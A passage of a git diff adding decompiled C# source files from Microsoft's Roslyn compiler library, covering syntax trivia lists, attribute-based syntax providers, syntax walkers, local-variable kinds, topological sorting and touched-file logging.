syntaxTrivia2 = (array[arrayOffset + i] = new SyntaxTrivia(Token, GetGreenNodeAt(offset + i), num, Index + i)); + } + } + } + + public override string ToString() + { + if (Node == null) + { + return string.Empty; + } + return Node.ToString(); + } + + public string ToFullString() + { + if (Node == null) + { + return string.Empty; + } + return Node.ToFullString(); + } + + public static SyntaxTriviaList Create(SyntaxTrivia trivia) + { + return new SyntaxTriviaList(trivia); + } + + static SyntaxTriviaList() + { + s_builderPool = new ObjectPool(() => SyntaxTriviaListBuilder.Create()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxValueProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxValueProvider.cs new file mode 100644 index 0000000..80a11a9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxValueProvider.cs @@ -0,0 +1,388 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.SourceGeneration; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public readonly struct SyntaxValueProvider +{ + private class ImmutableArrayValueComparer : IEqualityComparer> + { + public static readonly IEqualityComparer> Instance = new ImmutableArrayValueComparer(); + + public bool Equals(ImmutableArray x, ImmutableArray y) + { + if (x == y) + { + return true; + } + return x.SequenceEqual(y, 0, (T a, T b, int _) => EqualityComparer.Default.Equals(a, b)); + } + + public int GetHashCode(ImmutableArray obj) + { + int num = 0; + ImmutableArray.Enumerator enumerator = obj.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + num = Hash.Combine(num, EqualityComparer.Default.GetHashCode(current)); + } + return num; + } + } + + private readonly IncrementalGeneratorInitializationContext _context; + + private readonly ArrayBuilder _inputNodes; + + private readonly Action _registerOutput; + + private readonly ISyntaxHelper _syntaxHelper; + + private static readonly char[] s_nestedTypeNameSeparators = new char[1] { '+' }; + + private static readonly SymbolDisplayFormat s_metadataDisplayFormat = SymbolDisplayFormat.QualifiedNameArityFormat.AddCompilerInternalOptions(SymbolDisplayCompilerInternalOptions.UsePlusForNestedTypes); + + private static readonly ObjectPool> s_stringStackPool = new ObjectPool>(() => new Stack()); + + private static readonly ObjectPool> s_nodeStackPool = new ObjectPool>(() => new Stack()); + + internal SyntaxValueProvider(IncrementalGeneratorInitializationContext context, ArrayBuilder inputNodes, Action registerOutput, ISyntaxHelper syntaxHelper) + { + _context = context; + _inputNodes = inputNodes; + _registerOutput = registerOutput; + _syntaxHelper = syntaxHelper; + } + + public IncrementalValuesProvider CreateSyntaxProvider(Func predicate, Func transform) + { + return new IncrementalValuesProvider(new SyntaxInputNode(new PredicateSyntaxStrategy(predicate.WrapUserFunction(), transform.WrapUserFunction(), _syntaxHelper), RegisterOutputAndDeferredInput)); + } + + internal IncrementalValueProvider CreateSyntaxReceiverProvider(SyntaxContextReceiverCreator creator) + { + SyntaxInputNode syntaxInputNode = new SyntaxInputNode(new SyntaxReceiverStrategy(creator, _registerOutput, _syntaxHelper), RegisterOutputAndDeferredInput); + _inputNodes.Add(syntaxInputNode); + return new IncrementalValueProvider(syntaxInputNode); + } + + private void RegisterOutputAndDeferredInput(SyntaxInputNode node, IIncrementalGeneratorOutputNode output) + { + _registerOutput(output); + if (!_inputNodes.Contains(node)) + { + _inputNodes.Add(node); + } + } + + public IncrementalValuesProvider ForAttributeWithMetadataName(string fullyQualifiedMetadataName, Func predicate, Func transform) + { + IncrementalValuesProvider<((SyntaxTree tree, ImmutableArray matches) Left, Compilation Right)> source = ForAttributeWithSimpleName((Enumerable.Contains(fullyQualifiedMetadataName, '+') ? MetadataTypeName.FromFullName(fullyQualifiedMetadataName.Split(s_nestedTypeNameSeparators).Last()) : MetadataTypeName.FromFullName(fullyQualifiedMetadataName)).UnmangledTypeName, predicate).Combine(_context.CompilationProvider).WithTrackingName("compilationAndGroupedNodes_ForAttributeWithMetadataName"); + ISyntaxHelper syntaxHelper = _context.SyntaxHelper; + return source.SelectMany<((SyntaxTree, ImmutableArray), Compilation), T>(delegate(((SyntaxTree tree, ImmutableArray matches) Left, Compilation Right) tuple, CancellationToken cancellationToken) + { + ((SyntaxTree tree, ImmutableArray matches) Left, Compilation Right) tuple2 = tuple; + (SyntaxTree tree, ImmutableArray matches) item = tuple2.Left; + SyntaxTree item2 = item.tree; + ImmutableArray item3 = item.matches; + Compilation item4 = tuple2.Right; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + try + { + if (!item3.IsEmpty) + { + SemanticModel semanticModel = item4.GetSemanticModel(item2); + ImmutableArray.Enumerator enumerator = item3.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNode current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + object obj; + if (!(current is ICompilationUnitSyntax)) + { + obj = (syntaxHelper.IsLambdaExpression(current) ? semanticModel.GetSymbolInfo(current, cancellationToken).Symbol : semanticModel.GetDeclaredSymbol(current, cancellationToken)); + } + else + { + ISymbol assembly = semanticModel.Compilation.Assembly; + obj = assembly; + } + ISymbol symbol = (ISymbol)obj; + if (symbol != null) + { + ImmutableArray attributes = getMatchingAttributes(current, symbol, fullyQualifiedMetadataName); + if (attributes.Length > 0) + { + instance.Add(transform(new GeneratorAttributeSyntaxContext(current, symbol, semanticModel, attributes), cancellationToken)); + } + } + } + } + return instance.ToImmutable(); + } + finally + { + instance.Free(); + } + }).WithTrackingName("result_ForAttributeWithMetadataName"); + static ImmutableArray getMatchingAttributes(SyntaxNode attributeTarget, ISymbol symbol, string text) + { + SyntaxTree targetSyntaxTree = attributeTarget.SyntaxTree; + ArrayBuilder result = ArrayBuilder.GetInstance(); + addMatchingAttributes(symbol.GetAttributes()); + addMatchingAttributes((symbol as IMethodSymbol)?.GetReturnTypeAttributes()); + if (symbol is IAssemblySymbol assemblySymbol) + { + foreach (IModuleSymbol module in assemblySymbol.Modules) + { + addMatchingAttributes(module.GetAttributes()); + } + } + return result.ToImmutableAndFree(); + void addMatchingAttributes(ImmutableArray? attributes) + { + if (attributes.HasValue) + { + ImmutableArray.Enumerator enumerator2 = attributes.Value.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AttributeData current = enumerator2.Current; + if (current.ApplicationSyntaxReference?.SyntaxTree == targetSyntaxTree && current.AttributeClass?.ToDisplayString(s_metadataDisplayFormat) == text) + { + result.Add(current); + } + } + } + } + } + } + + internal IncrementalValuesProvider<(SyntaxTree tree, ImmutableArray matches)> ForAttributeWithSimpleName(string simpleName, Func predicate) + { + ISyntaxHelper syntaxHelper = _context.SyntaxHelper; + IncrementalValuesProvider<(SyntaxTree Tree, SourceGeneratorSyntaxTreeInfo Info)> source = _context.CompilationProvider.SelectMany((Compilation compilation, CancellationToken cancellationToken) => GetSourceGeneratorInfo(syntaxHelper, compilation, cancellationToken)).WithTrackingName("compilationUnit_ForAttribute"); + IncrementalValueProvider provider = source.Where<(SyntaxTree, SourceGeneratorSyntaxTreeInfo)>(((SyntaxTree Tree, SourceGeneratorSyntaxTreeInfo Info) info, CancellationToken _) => info.Info.HasFlag(SourceGeneratorSyntaxTreeInfo.ContainsGlobalAliases)).Select<(SyntaxTree, SourceGeneratorSyntaxTreeInfo), GlobalAliases>(((SyntaxTree Tree, SourceGeneratorSyntaxTreeInfo Info) info, CancellationToken cancellationToken) => getGlobalAliasesInCompilationUnit(syntaxHelper, info.Tree.GetRoot(cancellationToken))).WithTrackingName("individualFileGlobalAliases_ForAttribute") + .Collect() + .WithComparer(ImmutableArrayValueComparer.Instance) + .WithTrackingName("collectedGlobalAliases_ForAttribute") + .Select((ImmutableArray arrays, CancellationToken _) => GlobalAliases.Create(arrays)) + .WithTrackingName("allUpGlobalAliases_ForAttribute"); + IncrementalValueProvider provider2 = _context.CompilationOptionsProvider.Select(delegate(CompilationOptions o, CancellationToken _) + { + ArrayBuilder<(string, string)> instance = ArrayBuilder<(string, string)>.GetInstance(); + syntaxHelper.AddAliases(o, instance); + return GlobalAliases.Create(instance.ToImmutableAndFree()); + }).WithTrackingName("compilationGlobalAliases_ForAttribute"); + return (from tuple in IncrementalValueProviderExtensions.Combine(provider2: provider.Combine(provider2).Select(((GlobalAliases Left, GlobalAliases Right) tuple, CancellationToken _) => GlobalAliases.Concat(tuple.Left, tuple.Right)).WithTrackingName("allUpIncludingCompilationGlobalAliases_ForAttribute"), provider1: source.Where<(SyntaxTree, SourceGeneratorSyntaxTreeInfo)>(((SyntaxTree Tree, SourceGeneratorSyntaxTreeInfo Info) info, CancellationToken _) => info.Info.HasFlag(SourceGeneratorSyntaxTreeInfo.ContainsAttributeList))).WithTrackingName("compilationUnitAndGlobalAliases_ForAttribute").Select<((SyntaxTree, SourceGeneratorSyntaxTreeInfo), GlobalAliases), (SyntaxTree, ImmutableArray)>((((SyntaxTree Tree, SourceGeneratorSyntaxTreeInfo Info) Left, GlobalAliases Right) tuple, CancellationToken c) => (Tree: tuple.Left.Tree, GetMatchingNodes(syntaxHelper, tuple.Right, tuple.Left.Tree, simpleName, predicate, c))) + where tuple.Item2.Length > 0 + select tuple).WithTrackingName("result_ForAttributeInternal"); + static GlobalAliases getGlobalAliasesInCompilationUnit(ISyntaxHelper syntaxHelper2, SyntaxNode compilationUnit) + { + ArrayBuilder<(string, string)> instance = ArrayBuilder<(string, string)>.GetInstance(); + syntaxHelper2.AddAliases(compilationUnit.Green, instance, global: true); + return GlobalAliases.Create(instance.ToImmutableAndFree()); + } + } + + private static ImmutableArray<(SyntaxTree Tree, SourceGeneratorSyntaxTreeInfo Info)> GetSourceGeneratorInfo(ISyntaxHelper syntaxHelper, Compilation compilation, CancellationToken cancellationToken) + { + int num = 0; + ImmutableArray.Enumerator enumerator = compilation.CommonSyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + if ((current.GetSourceGeneratorInfo(syntaxHelper, cancellationToken) & SourceGeneratorSyntaxTreeInfo.ContainsGlobalAliasesOrAttributeList) != SourceGeneratorSyntaxTreeInfo.NotComputedYet) + { + num++; + } + } + ImmutableArray<(SyntaxTree, SourceGeneratorSyntaxTreeInfo)>.Builder builder = ImmutableArray.CreateBuilder<(SyntaxTree, SourceGeneratorSyntaxTreeInfo)>(num); + enumerator = compilation.CommonSyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree current2 = enumerator.Current; + SourceGeneratorSyntaxTreeInfo sourceGeneratorInfo = current2.GetSourceGeneratorInfo(syntaxHelper, cancellationToken); + if ((sourceGeneratorInfo & SourceGeneratorSyntaxTreeInfo.ContainsGlobalAliasesOrAttributeList) != SourceGeneratorSyntaxTreeInfo.NotComputedYet) + { + builder.Add((current2, sourceGeneratorInfo)); + } + } + return builder.MoveToImmutable(); + } + + private static ImmutableArray GetMatchingNodes(ISyntaxHelper syntaxHelper, GlobalAliases globalAliases, SyntaxTree syntaxTree, string name, Func predicate, CancellationToken cancellationToken) + { + SyntaxNode root = syntaxTree.GetRoot(cancellationToken); + bool isCaseSensitive = syntaxHelper.IsCaseSensitive; + StringComparison comparison = (isCaseSensitive ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase); + ArrayBuilder<(string aliasName, string symbolName)> localAliases = ArrayBuilder<(string, string)>.GetInstance(); + bool nameHasAttributeSuffix = name.HasAttributeSuffix(isCaseSensitive); + Stack seenNames = s_stringStackPool.Allocate(); + ArrayBuilder results = ArrayBuilder.GetInstance(); + ArrayBuilder attributeTargets = ArrayBuilder.GetInstance(); + try + { + processCompilationUnit(root); + } + finally + { + localAliases.Free(); + seenNames.Clear(); + s_stringStackPool.Free(seenNames); + attributeTargets.Free(); + } + results.RemoveDuplicates(); + return results.ToImmutableAndFree(); + bool matchesAttributeName(string currentAttributeName, bool withAttributeSuffix) + { + if (withAttributeSuffix) + { + if (nameHasAttributeSuffix && matchesName(currentAttributeName, name, withAttributeSuffix)) + { + return true; + } + } + else if (matchesName(currentAttributeName, name, withAttributeSuffix: false)) + { + return true; + } + if (seenNames.Contains(currentAttributeName)) + { + return false; + } + seenNames.Push(currentAttributeName); + ArrayBuilder<(string, string)>.Enumerator enumerator = localAliases.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (matchAgainst, currentAttributeName2) = enumerator.Current; + if (matchesName(currentAttributeName, matchAgainst, withAttributeSuffix) && matchesAttributeName(currentAttributeName2, withAttributeSuffix: false)) + { + return true; + } + } + ImmutableArray<(string, string)>.Enumerator enumerator2 = globalAliases.AliasAndSymbolNames.GetEnumerator(); + while (enumerator2.MoveNext()) + { + var (matchAgainst2, currentAttributeName3) = enumerator2.Current; + if (matchesName(currentAttributeName, matchAgainst2, withAttributeSuffix) && matchesAttributeName(currentAttributeName3, withAttributeSuffix: false)) + { + return true; + } + } + seenNames.Pop(); + return false; + } + bool matchesName(string text, string matchAgainst, bool withAttributeSuffix) + { + if (withAttributeSuffix) + { + if (text.Length + "Attribute".Length == matchAgainst.Length && matchAgainst.HasAttributeSuffix(isCaseSensitive)) + { + return matchAgainst.StartsWith(text, comparison); + } + return false; + } + return text.Equals(matchAgainst, comparison); + } + void processCompilationOrNamespaceMembers(SyntaxNode node) + { + cancellationToken.ThrowIfCancellationRequested(); + ChildSyntaxList.Enumerator enumerator = node.ChildNodesAndTokens().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNodeOrToken current = enumerator.Current; + if (current.IsNode) + { + SyntaxNode syntaxNode = current.AsNode(); + if (syntaxHelper.IsAnyNamespaceBlock(syntaxNode)) + { + processNamespaceBlock(syntaxNode); + } + else + { + processMember(syntaxNode); + } + } + } + } + void processCompilationUnit(SyntaxNode compilationUnit) + { + cancellationToken.ThrowIfCancellationRequested(); + if (compilationUnit is ICompilationUnitSyntax) + { + syntaxHelper.AddAliases(compilationUnit.Green, localAliases, global: false); + } + processCompilationOrNamespaceMembers(compilationUnit); + } + void processMember(SyntaxNode member) + { + cancellationToken.ThrowIfCancellationRequested(); + Stack stack = s_nodeStackPool.Allocate(); + stack.Push(member); + try + { + while (stack.Count > 0) + { + SyntaxNode syntaxNode = stack.Pop(); + if (syntaxHelper.IsAttributeList(syntaxNode)) + { + SeparatedSyntaxList.Enumerator enumerator = syntaxHelper.GetAttributesOfAttributeList(syntaxNode).GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNode current = enumerator.Current; + string unqualifiedIdentifierOfName = syntaxHelper.GetUnqualifiedIdentifierOfName(syntaxHelper.GetNameOfAttribute(current)); + if (matchesAttributeName(unqualifiedIdentifierOfName, withAttributeSuffix: false) || matchesAttributeName(unqualifiedIdentifierOfName, withAttributeSuffix: true)) + { + attributeTargets.Clear(); + syntaxHelper.AddAttributeTargets(syntaxNode, attributeTargets); + ArrayBuilder.Enumerator enumerator2 = attributeTargets.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SyntaxNode current2 = enumerator2.Current; + if (predicate(current2, cancellationToken)) + { + results.Add(current2); + } + } + break; + } + } + } + else + { + ChildSyntaxList.Reversed.Enumerator enumerator3 = syntaxNode.ChildNodesAndTokens().Reverse().GetEnumerator(); + while (enumerator3.MoveNext()) + { + SyntaxNodeOrToken current3 = enumerator3.Current; + if (current3.IsNode) + { + stack.Push(current3.AsNode()); + } + } + } + } + } + finally + { + stack.Clear(); + s_nodeStackPool.Free(stack); + } + } + void processNamespaceBlock(SyntaxNode namespaceBlock) + { + cancellationToken.ThrowIfCancellationRequested(); + int count = localAliases.Count; + syntaxHelper.AddAliases(namespaceBlock.Green, localAliases, global: false); + processCompilationOrNamespaceMembers(namespaceBlock); + localAliases.Count = count; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxWalker.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxWalker.cs new file mode 100644 index 0000000..5766f1e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxWalker.cs @@ -0,0 +1,74 @@ +namespace Microsoft.CodeAnalysis; + +public abstract class SyntaxWalker +{ + protected SyntaxWalkerDepth Depth { get; } + + protected SyntaxWalker(SyntaxWalkerDepth depth = SyntaxWalkerDepth.Node) + { + Depth = depth; + } + + public virtual void Visit(SyntaxNode node) + { + ChildSyntaxList.Enumerator enumerator = node.ChildNodesAndTokens().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNodeOrToken current = enumerator.Current; + if (current.IsNode) + { + if (Depth >= SyntaxWalkerDepth.Node) + { + Visit(current.AsNode()); + } + } + else if (current.IsToken && Depth >= SyntaxWalkerDepth.Token) + { + VisitToken(current.AsToken()); + } + } + } + + protected virtual void VisitToken(SyntaxToken token) + { + if (Depth >= SyntaxWalkerDepth.Trivia) + { + VisitLeadingTrivia(in token); + VisitTrailingTrivia(in token); + } + } + + private void VisitLeadingTrivia(in SyntaxToken token) + { + if (token.HasLeadingTrivia) + { + SyntaxTriviaList.Enumerator enumerator = token.LeadingTrivia.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current = enumerator.Current; + VisitTrivia(current); + } + } + } + + private void VisitTrailingTrivia(in SyntaxToken token) + { + if (token.HasTrailingTrivia) + { + SyntaxTriviaList.Enumerator enumerator = token.TrailingTrivia.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current = enumerator.Current; + VisitTrivia(current); + } + } + } + + protected virtual void VisitTrivia(SyntaxTrivia trivia) + { + if (Depth >= SyntaxWalkerDepth.StructuredTrivia && trivia.HasStructure) + { + Visit(trivia.GetStructure()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxWalkerDepth.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxWalkerDepth.cs new file mode 100644 index 0000000..5fa1c64 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxWalkerDepth.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis; + +public enum SyntaxWalkerDepth +{ + Node, + Token, + Trivia, + StructuredTrivia +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SynthesizedLocalKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SynthesizedLocalKind.cs new file mode 100644 index 0000000..020aeb4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SynthesizedLocalKind.cs @@ -0,0 +1,50 @@ +namespace Microsoft.CodeAnalysis; + +internal enum SynthesizedLocalKind +{ + FrameCache = -5, + OptimizerTemp = -3, + LoweringTemp = -2, + EmitterTemp = -1, + UserDefined = 0, + ConditionalBranchDiscriminator = 1, + LockTaken = 2, + Lock = 3, + Using = 4, + ForEachEnumerator = 5, + ForEachArray = 6, + ForEachArrayLimit = 7, + ForEachArrayIndex = 8, + FixedReference = 9, + With = 10, + ForLimit = 11, + ForStep = 12, + ForInitialValue = 13, + ForDirection = 14, + SelectCaseValue = 15, + OnErrorActiveHandler = 16, + OnErrorResumeTarget = 17, + OnErrorCurrentStatement = 18, + OnErrorCurrentLine = 19, + AsyncMethodReturnValue = 20, + StateMachineReturnValue = 20, + FunctionReturnValue = 21, + TryAwaitPendingException = 22, + TryAwaitPendingBranch = 23, + TryAwaitPendingCatch = 24, + TryAwaitPendingCaughtException = 25, + ExceptionFilterAwaitHoistedExceptionLocal = 26, + StateMachineCachedState = 27, + Spill = 28, + AwaitByRefSpill = 29, + LambdaDisplayClass = 30, + CachedAnonymousMethodDelegate = 31, + XmlInExpressionLambda = 32, + Awaiter = 33, + InstrumentationPayload = 34, + SwitchCasePatternMatching = 35, + LocalStoreTracker = 36, + MaxValidValueForLocalVariableSerializedToDebugInformation = 125, + AwaiterField = 256, + DelegateRelaxationReceiver = 257 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SynthesizedLocalKindExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SynthesizedLocalKindExtensions.cs new file mode 100644 index 0000000..5367531 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SynthesizedLocalKindExtensions.cs @@ -0,0 +1,47 @@ +using System.Reflection.Metadata; + +namespace Microsoft.CodeAnalysis; + +internal static class SynthesizedLocalKindExtensions +{ + public static bool IsLongLived(this SynthesizedLocalKind kind) + { + return kind >= SynthesizedLocalKind.UserDefined; + } + + public static bool MustSurviveStateMachineSuspension(this SynthesizedLocalKind kind) + { + if (kind.IsLongLived()) + { + return kind != SynthesizedLocalKind.ConditionalBranchDiscriminator; + } + return false; + } + + public static bool IsSlotReusable(this SynthesizedLocalKind kind, OptimizationLevel optimizations) + { + return kind.IsSlotReusable(optimizations != OptimizationLevel.Release); + } + + public static bool IsSlotReusable(this SynthesizedLocalKind kind, bool isDebug) + { + if (isDebug) + { + return !kind.IsLongLived(); + } + if (kind == SynthesizedLocalKind.UserDefined || kind == SynthesizedLocalKind.With || kind == SynthesizedLocalKind.LambdaDisplayClass) + { + return false; + } + return true; + } + + public static LocalVariableAttributes PdbAttributes(this SynthesizedLocalKind kind) + { + if (kind == SynthesizedLocalKind.LambdaDisplayClass || kind == SynthesizedLocalKind.UserDefined || kind == SynthesizedLocalKind.With) + { + return LocalVariableAttributes.None; + } + return LocalVariableAttributes.DebuggerHidden; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TextEncodingKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TextEncodingKind.cs new file mode 100644 index 0000000..d809cd3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TextEncodingKind.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis; + +internal enum TextEncodingKind : byte +{ + None, + EncodingUtf8, + EncodingUtf8_BOM, + EncodingUtf32_BE, + EncodingUtf32_BE_BOM, + EncodingUtf32_LE, + EncodingUtf32_LE_BOM, + EncodingUnicode_BE, + EncodingUnicode_BE_BOM, + EncodingUnicode_LE, + EncodingUnicode_LE_BOM +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ThreeState.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ThreeState.cs new file mode 100644 index 0000000..84cf21e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ThreeState.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +internal enum ThreeState : byte +{ + Unknown, + False, + True +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ThreeStateHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ThreeStateHelpers.cs new file mode 100644 index 0000000..83de903 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ThreeStateHelpers.cs @@ -0,0 +1,23 @@ +namespace Microsoft.CodeAnalysis; + +internal static class ThreeStateHelpers +{ + public static ThreeState ToThreeState(this bool value) + { + if (!value) + { + return ThreeState.False; + } + return ThreeState.True; + } + + public static bool HasValue(this ThreeState value) + { + return value != ThreeState.Unknown; + } + + public static bool Value(this ThreeState value) + { + return value == ThreeState.True; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TopologicalSort.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TopologicalSort.cs new file mode 100644 index 0000000..6631aa1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TopologicalSort.cs @@ -0,0 +1,98 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Shared.Collections; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class TopologicalSort +{ + public static bool TryIterativeSort(TNode node, TopologicalSortAddSuccessors addSuccessors, out ImmutableArray result) where TNode : notnull + { + return TryIterativeSort(SpecializedCollections.SingletonEnumerable(node), addSuccessors, out result); + } + + public static bool TryIterativeSort(IEnumerable nodes, TopologicalSortAddSuccessors addSuccessors, out ImmutableArray result) where TNode : notnull + { + ImmutableArray allNodes; + PooledDictionary pooledDictionary = PredecessorCounts(nodes, addSuccessors, out allNodes); + using TemporaryArray array = TemporaryArray.Empty; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = allNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + TNode current = enumerator.Current; + if (pooledDictionary[current] == 0) + { + instance.Push(current); + } + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + while (instance.Count != 0) + { + TNode val = instance.Pop(); + instance2.Add(val); + array.Clear(); + addSuccessors(ref TemporaryArrayExtensions.AsRef(in array), val); + TemporaryArray.Enumerator enumerator2 = array.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TNode current2 = enumerator2.Current; + if (pooledDictionary[current2]-- == 1) + { + instance.Push(current2); + } + } + } + bool flag = pooledDictionary.Count != instance2.Count; + result = (flag ? ImmutableArray.Empty : instance2.ToImmutable()); + pooledDictionary.Free(); + instance.Free(); + instance2.Free(); + return !flag; + } + + private static PooledDictionary PredecessorCounts(IEnumerable nodes, TopologicalSortAddSuccessors addSuccessors, out ImmutableArray allNodes) where TNode : notnull + { + PooledDictionary instance = PooledDictionary.GetInstance(); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + ArrayBuilder instance4 = ArrayBuilder.GetInstance(); + using TemporaryArray array = TemporaryArray.Empty; + instance3.AddRange(nodes); + while (instance3.Count != 0) + { + TNode val = instance3.Pop(); + if (!instance2.Add(val)) + { + continue; + } + instance4.Add(val); + if (!instance.ContainsKey(val)) + { + instance.Add(val, 0); + } + array.Clear(); + addSuccessors(ref TemporaryArrayExtensions.AsRef(in array), val); + TemporaryArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + TNode current = enumerator.Current; + instance3.Push(current); + if (instance.TryGetValue(current, out var value)) + { + instance[current] = value + 1; + } + else + { + instance.Add(current, 1); + } + } + } + instance2.Free(); + instance3.Free(); + allNodes = instance4.ToImmutableAndFree(); + return instance; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TopologicalSortAddSuccessors.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TopologicalSortAddSuccessors.cs new file mode 100644 index 0000000..b072a2b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TopologicalSortAddSuccessors.cs @@ -0,0 +1,5 @@ +using Microsoft.CodeAnalysis.Shared.Collections; + +namespace Microsoft.CodeAnalysis; + +internal delegate void TopologicalSortAddSuccessors(ref TemporaryArray builder, TNode node); diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TouchedFileLogger.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TouchedFileLogger.cs new file mode 100644 index 0000000..5c84d51 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TouchedFileLogger.cs @@ -0,0 +1,81 @@ +using System; +using System.IO; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal class TouchedFileLogger +{ + private ConcurrentSet _readFiles; + + private ConcurrentSet _writtenFiles; + + public TouchedFileLogger() + { + _readFiles = new ConcurrentSet(); + _writtenFiles = new ConcurrentSet(); + } + + public void AddRead(string path) + { + if (path == null) + { + throw new ArgumentNullException(path); + } + _readFiles.Add(path); + } + + public void AddWritten(string path) + { + if (path == null) + { + throw new ArgumentNullException(path); + } + _writtenFiles.Add(path); + } + + public void AddReadWritten(string path) + { + AddRead(path); + AddWritten(path); + } + + public void WriteReadPaths(TextWriter s) + { + string[] array = new string[_readFiles.Count]; + int num = 0; + ConcurrentSet.KeyEnumerator enumerator = Interlocked.Exchange(ref _readFiles, null).GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + array[num] = current.ToUpperInvariant(); + num++; + } + Array.Sort(array); + string[] array2 = array; + foreach (string value in array2) + { + s.WriteLine(value); + } + } + + public void WriteWrittenPaths(TextWriter s) + { + string[] array = new string[_writtenFiles.Count]; + int num = 0; + ConcurrentSet.KeyEnumerator enumerator = Interlocked.Exchange(ref _writtenFiles, null).GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + array[num] = current.ToUpperInvariant(); + num++; + } + Array.Sort(array); + string[] array2 = array; + foreach (string value in array2) + { + s.WriteLine(value); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TransformNode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TransformNode.cs new file mode 100644 index 0000000..12a1c80 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TransformNode.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class TransformNode : IIncrementalGeneratorNode +{ + private readonly Func> _func; + + private readonly IEqualityComparer _comparer; + + private readonly 